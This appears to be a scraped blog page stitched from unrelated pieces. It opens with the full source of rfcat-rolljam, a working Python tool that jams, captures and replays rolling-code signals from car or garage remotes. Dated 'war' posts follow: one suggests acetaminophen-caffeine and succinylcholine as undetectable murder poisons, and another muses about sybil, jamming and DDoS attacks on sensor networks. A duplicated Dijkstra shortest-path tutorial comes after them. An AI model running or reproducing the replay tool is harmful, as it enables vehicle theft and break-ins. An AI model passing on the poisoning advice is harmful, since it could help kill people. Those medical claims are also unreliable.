https://github.com/exploitagency/rfcat-rolljam/blob/master/rfcat-rolljam.py #!/usr/bin/env python | |
import sys | |
from rflib import * | |
from struct import * | |
import bitstring | |
import operator | |
import argparse | |
import time | |
import pickle | |
parser = argparse.ArgumentParser(description='Python port of Samy Kamkar\'s Rolljam. Code by Andrew Macpherson, Ghostlulz(Alex), and Corey Harding.',version="1.0") | |
parser.add_argument('-f', action="store", default="315060000", dest="baseFreq",help='Target frequency to listen for remote (default: 315060000)',type=int) | |
parser.add_argument('-r', action="store", dest="baudRate",default=1818,help='Baudrate (default: 1818)',type=int) | |
parser.add_argument('-n', action="store", dest="numSignals",default=2,help='Number of signals to capture before replaying (default: 2)',type=int) | |
parser.add_argument('-i', action="store", default="24000", dest="chanWidth",help='Width of each channel (lowest being 24000 -- default)',type=int) | |
parser.add_argument('-c', action="store", default="60000", dest="chanBW",help='Channel BW for RX (default: 60000)',type=int) | |
parser.add_argument('-I', action="store", default="", dest="inFile",help='File to read in') | |
parser.add_argument('-O', action="store", default="", dest="outFile",help='Output file to save captures to') | |
parser.add_argument('-o', action="store", default="-70000", dest="offset",help='Frequency offset of jammer (default: -70000)') | |
parser.add_argument('-p', action="store", default="200", dest="power",help='Power level for re-transmitting (default: 200)',type=int) | |
parser.add_argument('-m', action="store", default="-40", dest="minRSSI",help='Minimum RSSI db to accept signal (default: -40)',type=int) | |
parser.add_argument('-M', action="store", default="40", dest="maxRSSI",help='Maximum RSSI db to accept signal (default: 40)',type=int) | |
parser.add_argument('-k', action="store_true", dest="waitForKeypress", default=False,help='Wait for keypress before resending first capture (default: False)') | |
results = parser.parse_args() | |
rawCapture = []; | |
print "Configuring Scanner on Frequency: " + str(results.baseFreq) | |
d = RfCat(idx=0) | |
d.setMdmModulation(MOD_ASK_OOK) | |
d.setFreq(results.baseFreq) | |
d.setMdmSyncMode(0) | |
d.setMdmDRate(results.baudRate) | |
d.setMdmChanBW(results.chanBW) | |
d.setMdmChanSpc(results.chanWidth) | |
d.setChannel(0) | |
d.setPower(results.power) | |
d.lowball(1) | |
print "Configuring Jammer on Frequency: " + str(int(results.baseFreq)+int(results.offset)) | |
c = RfCat(idx=1) | |
c.setMdmModulation(MOD_ASK_OOK) #on of key | |
c.setFreq(int(results.baseFreq)+int(results.offset)) # frequency | |
c.setMdmDRate(results.baudRate)# how long each bit is transmited for | |
c.setMdmChanBW(results.chanBW)# how wide channel is | |
c.setMdmChanSpc(results.chanWidth) | |
c.setChannel(0) | |
c.setMaxPower() # max power | |
c.lowball(1) # need inorder to read data | |
time.sleep(1) #warm up | |
if(results.inFile != ''): | |
rawCapture = pickle.load(open(results.inFile,"rb")) | |
if(len(rawCapture) == 0): | |
print "No captures found" | |
sys.exit() | |
else: | |
print "Loaded " + str(len(rawCapture)) + " captures" | |
print "Send Phase..." | |
c.setModeIDLE() | |
emptykey = '\x00\x00\x00\x00\x00\x00\x00' | |
d.makePktFLEN(len(emptykey)) | |
d.RFxmit(emptykey) | |
while True: | |
try: | |
for i in range(0,len(rawCapture)): | |
key_packed = bitstring.BitArray(hex=rawCapture[i]).tobytes() | |
d.makePktFLEN(len(key_packed)) | |
raw_input(" Press enter to send capture " + str(i+1) + " of " + str(len(rawCapture))) | |
d.RFxmit(key_packed) | |
print "Sent " + str(i+1) + " of " + str(len(rawCapture)) | |
except KeyboardInterrupt: | |
print "Bye!" | |
d.setModeIDLE() | |
sys.exit() | |
break; | |
print "exiting." | |
d.setModeIDLE() | |
sys.exit() | |
print "Jamming...." | |
c.setModeTX() # start transmitting | |
print "Scanning..." | |
while True: | |
try: | |
y, t = d.RFrecv(1) | |
sampleString=y.encode('hex') | |
#print sampleString | |
strength= 0 - ord(str(d.getRSSI())) | |
#sampleString = re.sub(r'((f)\2{8,})', '',sampleString) | |
if (re.search(r'((0)\2{15,})', sampleString)): | |
print "Signal Strength:" + str(strength) | |
if(strength > results.minRSSI and strength < results.maxRSSI): | |
rawCapture.append(sampleString) | |
print "Found " + str(sampleString) | |
if(len(rawCapture) >= results.numSignals): | |
break; | |
except ChipconUsbTimeoutException: | |
pass | |
except KeyboardInterrupt: | |
break | |
print "Saving phase" | |
outputCapture = rawCapture | |
if(results.outFile != ''): | |
pickle.dump(outputCapture, open(results.outFile,"wb")) | |
print "Send Phase..." | |
#print rawCapture | |
emptykey = '\x00\x00\x00\x00\x00\x00\x00' | |
d.makePktFLEN(len(emptykey)) | |
d.RFxmit(emptykey) | |
print 'Done jamming' | |
if(results.waitForKeypress == True): | |
time.sleep(.5) # Assumes someone using waitForKeypress mode is testing thus they will be pressing button on remote | |
# and waiting for the "Done jamming" message, this delay allows their brain to stop pressing the button | |
# don't want to accidentally hop to next code | |
c.setModeIDLE() # put dongle in idle mode to stop jamming | |
if(results.waitForKeypress == True): | |
raw_input(" Press enter to send first capture") | |
print 'Replaying' | |
key_packed = bitstring.BitArray(hex=rawCapture[0]).tobytes() | |
d.makePktFLEN(len(key_packed)) | |
d.RFxmit(key_packed) | |
print "Sent capture 1" | |
while True: | |
try: | |
for i in range(1,len(rawCapture)): | |
key_packed = bitstring.BitArray(hex=rawCapture[i]).tobytes() | |
raw_input(" Press enter to send capture " + str(i+1) + " of " + str(len(rawCapture))) | |
d.makePktFLEN(len(key_packed)) | |
d.RFxmit(key_packed) | |
print "Sent capture " + str(i+1) + " of " + str(len(rawCapture)) | |
except KeyboardInterrupt: | |
print "Bye!" | |
d.setModeIDLE() | |
c.setModeIDLE() # put dongle in idle mode to stop jamming | |
sys.exit() | |
break; | |
print "exiting." | |
d.setModeIDLE() | |
c.setModeIDLE() |
Saturday, May 12, 2018
welcome back war! another day in paradise! Computing starting today!"#rfcat-rolljam is a python script to "jam", capture, and replay rolling code signals using two yard stick one devices and rfcat. #The name rfcat-rolljam is inspired by Samy Kamkar's RollJam which is a device that defeats rolling code security. #This is done by jamming the receiver, capturing two or more remote presses, then stopping the jammer and replaying the first remote press #saving the next capture in the rolling code series to replay later The author(s) of this code take no responsibility for your use or misuse of the script. If you choose #to actually use the code you should do so in a controlled environment and only on equipment that you own. Please follow all local, state, federal, #and international, and religious laws.
Friday, May 11, 2018
Again...welcome back to war! Another chemical compound , that in overdose (1gr) will provoke sudden dead from cardiac arrest, and is confused by common analgesic (with or without coffee) consume in forensic detection, is acetaminophen and caffeine (see also, Fioricet medication) However it can not be used as murder weapon, trough skin contact...only ingestion (see also, codeine phosphate ) (medical dose use under 60 mg)
Good morning! welcome back to war! So, we've been in phenol, for use inside an umbrella...did we forgot succinylcholine ? (succinylcholine is a strong muscle relaxant that paralyzes the respiratory muscles) Autopsies don't determine the toxicology , and conclude the dead was from an heart attack! succinylcholine is confused by caffeine! its also knowed by being a potent inhalation anaesthetic!
Thursday, May 10, 2018
let's make a variation , to sybill attacks...and let's calculate the source code that comes from the sensor nodes, so we get to know the path of jamming with a DDos attack, like RTS blocking activity. And not forgetting when they detect an attack, they disconnect the radios, so the objective is disrupt operations.
Task:
Find the shortest path between two nodes (points).
Solution:
The most famous solution for this problem was first proposed by Dijkstra. Generally, his solution is the most efficient and used in most cases.
Algorithm:
Complexity:
In average each of N nodes is processed, and for each all of its neighbors are updated in O(N). Thus the complexity is O(N2).
Restrictions:
This algorithm doesn't work for graphs that have negative edges. For these you should use Bellman-Ford algorithm, that runs in O(NM), where M is the number of edges.
Optimizations:
Applications:
This is probably the most used graph algorithm. It may be applied in situations where the shortest path between 2 points is needed. Examples of such applications would be:
Task:
Find the shortest path between two nodes (points).
Solution:
The most famous solution for this problem was first proposed by Dijkstra. Generally, his solution is the most efficient and used in most cases.
Algorithm:
- Set the distance to source node to 0, and the distances to all other nodes to infinity.
- Among all unprocessed nodes find the one that has the minimum distance to it yet found. Let this node be i. Ifi is the destination (end) node then exit because the shortest path from source to destination has been found. Otherwise mark it as processed and go to point 3.
Note: If distances to all unprocessed nodes are equal to Infinity then no path from source to destination node exists. - Look at each unprocessed neighbor j of node i. If the shortest distance to j is greater than the shortest distance to i + the cost of the edge between these 2 nodes, then update the shortest distance/path to j with this one and mark that it has been reached from i.
Go back to point 2.
Pseudocode:
# N - number of nodes
# weight(i,j) - weight of the edge from node i to j ; equal to infinity if such an edge doesn't exist
# dist(i) - the shortest path from source node to i
# parent(i) - node that precedes i in a shortest path, used to reconstruct the shortest path
# initialize all values
For i = 1 to N
dist(i) = infinity
processed(i) = false
parent(i) = null
End For
dist(source) = 0
While (not all nodes have been processed)
If (distances to all unprocessed nodes are equal to infinity) Then
no path from source to destination node exists
Exit
End If
Let i be an unprocessed node for which dist(i) is the smallest among all unprocessed nodes.
If i = destination Then Exit While # shortest path from source to destination has been found
Set processed(i) = true
For Each unprocessed node j # i.e. for which processed(j) = false
If dist(i) + weight(i,j) < dist(j) Then
# a shorter path from source node to j has been found ; update it
dist(j) = dist(i) + weight(i,j)
parent(j) = i
End If
End For
End While
# the length of the shortest path is thus dist(destination)
# path reconstruction is given below
Set i = destination
While i != source
Append i to the beginning of the currently constructed path
i = parent(i)
End While
Append source to the beginning of the path
# N - number of nodes
# weight(i,j) - weight of the edge from node i to j ; equal to infinity if such an edge doesn't exist
# dist(i) - the shortest path from source node to i
# parent(i) - node that precedes i in a shortest path, used to reconstruct the shortest path
# initialize all values
For i = 1 to N
dist(i) = infinity
processed(i) = false
parent(i) = null
End For
dist(source) = 0
While (not all nodes have been processed)
If (distances to all unprocessed nodes are equal to infinity) Then
no path from source to destination node exists
Exit
End If
Let i be an unprocessed node for which dist(i) is the smallest among all unprocessed nodes.
If i = destination Then Exit While # shortest path from source to destination has been found
Set processed(i) = true
For Each unprocessed node j # i.e. for which processed(j) = false
If dist(i) + weight(i,j) < dist(j) Then
# a shorter path from source node to j has been found ; update it
dist(j) = dist(i) + weight(i,j)
parent(j) = i
End If
End For
End While
# the length of the shortest path is thus dist(destination)
# path reconstruction is given below
Set i = destination
While i != source
Append i to the beginning of the currently constructed path
i = parent(i)
End While
Append source to the beginning of the path
Complexity:
In average each of N nodes is processed, and for each all of its neighbors are updated in O(N). Thus the complexity is O(N2).
Restrictions:
This algorithm doesn't work for graphs that have negative edges. For these you should use Bellman-Ford algorithm, that runs in O(NM), where M is the number of edges.
Optimizations:
- For sparse graphs a complexity of O(NlogN) may be obtained. For this purpose a heap is used to store the shortest distances to nodes, and neighbors of each node are stored in lists. In this way the unprocessed node with the minimum distance is found in logN and the update of each node is also done in logN.
Providing that the graph is sparse, each node has few neighbors and thus the average complexity is O(NlogN). - If edges have no costs then a Breadth First Search (BFS) algorithm can be applied to find the shortest path. It would run substantially faster, especially for graphs that have structures similar to mazes, tables, where each point has few neighbors.
Extensions:
If the above code is run until all nodes are processed (or until no unprocessed node is reachable) then we will get the shortest paths from source point to all other points (those that are reachable from it).
Sample Execution:
If the above code is run until all nodes are processed (or until no unprocessed node is reachable) then we will get the shortest paths from source point to all other points (those that are reachable from it).
Sample Execution:
Given: A sample graph made in Graph Magics. node 1 is start (source) node and 2 is end (destination) node. We need to find the shortest path between these two nodes. Below execution steps of this algorithm are shown (all images are created in Graph Magics). | |||||||||||||||||||||||||||||||||
Legend: - unprocessed nodes are colored in light gray - current node (the one that is being processed) is colored in blue - processed nodes are colored in red - the number on a node represents the shortest path length to it yet found Starting state:
| Download this graph (viewable with Graph Magics) | ||||||||||||||||||||||||||||||||
Among all unprocessed nodes, 1 has the minimum distance from the source. After updating the neighbors of node 1:
| |||||||||||||||||||||||||||||||||
Among all unprocessed nodes, 3 has the minimum distance from the source. After updating the neighbors of node 3:
| |||||||||||||||||||||||||||||||||
Among all unprocessed nodes, 6 has the minimum distance from the source. After updating the neighbors of 6:
| |||||||||||||||||||||||||||||||||
Among all unprocessed nodes, 4 has the minimum distance from the source. After updating the neighbors of 4:
| |||||||||||||||||||||||||||||||||
Among all unprocessed nodes, 7 has the minimum distance from the source. After updating the neighbors of 7:
| |||||||||||||||||||||||||||||||||
Among all unprocessed nodes, 5 has the minimum distance from the source. After updating the neighbors of 5:
| |||||||||||||||||||||||||||||||||
2 is the node that has the shortest path to it yet found among all unprocessed nodes (in this example it is the only one left). So we stop here the execution because we have found the shortest path from source to destination node (i.e. from 1 to 2). Shortest path found: 1 >> 6 >> 4 >> 2 Cost of the path - 40 | |||||||||||||||||||||||||||||||||
Applications:
This is probably the most used graph algorithm. It may be applied in situations where the shortest path between 2 points is needed. Examples of such applications would be:
- Computer games - finding the best/shortest route from one point to another.
- Maps - finding the shortest/cheapest path for a car from one city to another, by using given roads.
- May be used to find the fastest way for a car to get from one point to another inside a certain city. E.g. satellite navigation system that shows to drivers which way they should better go.
Subscribe to:
Posts (Atom)
Portugal Intel elevador da glória acidente
https://www.telegraph.co.uk/world-news/2025/09/04/several-injured-as-lisbons-gloria-funicular-derails/ Versão Portuguesa
